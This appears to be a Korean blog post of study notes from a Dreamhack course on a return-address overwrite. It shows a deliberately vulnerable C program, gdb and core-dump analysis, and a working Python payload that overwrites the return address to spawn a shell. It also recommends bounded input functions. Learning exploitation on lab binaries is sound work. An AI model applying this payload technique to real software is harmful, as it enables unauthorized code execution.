[포너블] Return Address Overwrite

Chris Kim·2024년 10월 16일

시스템해킹

목록 보기
11/33

본 문서는 드림핵 커리큘럼 강의를 수강하고 요약한 문서입니다.

주어진 코드

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

사실 여기서 보면 scanf 함수의 %s를 통해 입력길이 제한을 두지 않음을 볼 수 있다. 따라서 scanf%s 포맷 스트링은 절대로 사용하지 말아야 한다. 반드시 %[n]s 형태로 사용해야 한다. 그외에 길이 입력 없이 버퍼를 다루는 함수는 전부 위험하다. strcpy, strcat, sprintf가 있다. 대신 strncpy, strncat, snprintf, fgets, memcpy 등이 있다.

Segmentation Fault

Segmentation fault란 에러는 잘못된 메모리 주소에 접근했다는 의미다.
core dumped는 코어파일을 생성했다는 것으로, 프로그램이 비정상 종료되었을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것이다.
Ubuntu 20.04 버전 이상은 기본적으로 /var/lib/apport/coredump 디렉토리에 코어 파일을 생성한다.

코어 파일 분석

$ gdb rao -c core.1828876
...
Could not check ASLR: Couldn't get personality
Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000000000400729 in main ()
...
pwndbg>

A*64를 입력하고 코드와 스택을 관찰하면 rsp에 0x4141414141414141('AAAAAAAA')가 저장됨을 알 수 있다.

익스플로잇

스택 프레임 구조 파악

먼저 버퍼의 위치를 조사해야한다.

pwndbg> nearpc
   0x400706             call   printf@plt 

   0x40070b             lea    rax, [rbp - 0x30]
   0x40070f             mov    rsi, rax
   0x400712             lea    rdi, [rip + 0xab]
   0x400719             mov    eax, 0
 ► 0x40071e             call   __isoc99_scanf@plt <__isoc99_scanf @plt>
        format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
        vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4:       "%s"__isoc99_scanf

이로 미루어 보아 스택프레임 구조를 다음과 같이 추측할 수 있다.
입력 버퍼와 반환주소 사이에 0x38 만큼 거리가 있으므로 dummy로 채워보고 그 다음에 원하는 주소값을 넣어보자

get_shell 주소 확인

$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
pwndbg> quit

payload 구성

payload란 공격을 위해 프로그램에 전달하는 데이터를 의미한다.

엔디언 적용

구성한 페이로드가 적절한 엔디언을 적용해서 프로그램에 전달되어야 한다. x86-64는 리틀 엔디언을 사용한다.

익스플로잇

파이썬으로 출력한 페이로드를 rao로 전달해보자.

$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)
profile
회계+IT=???

0개의 댓글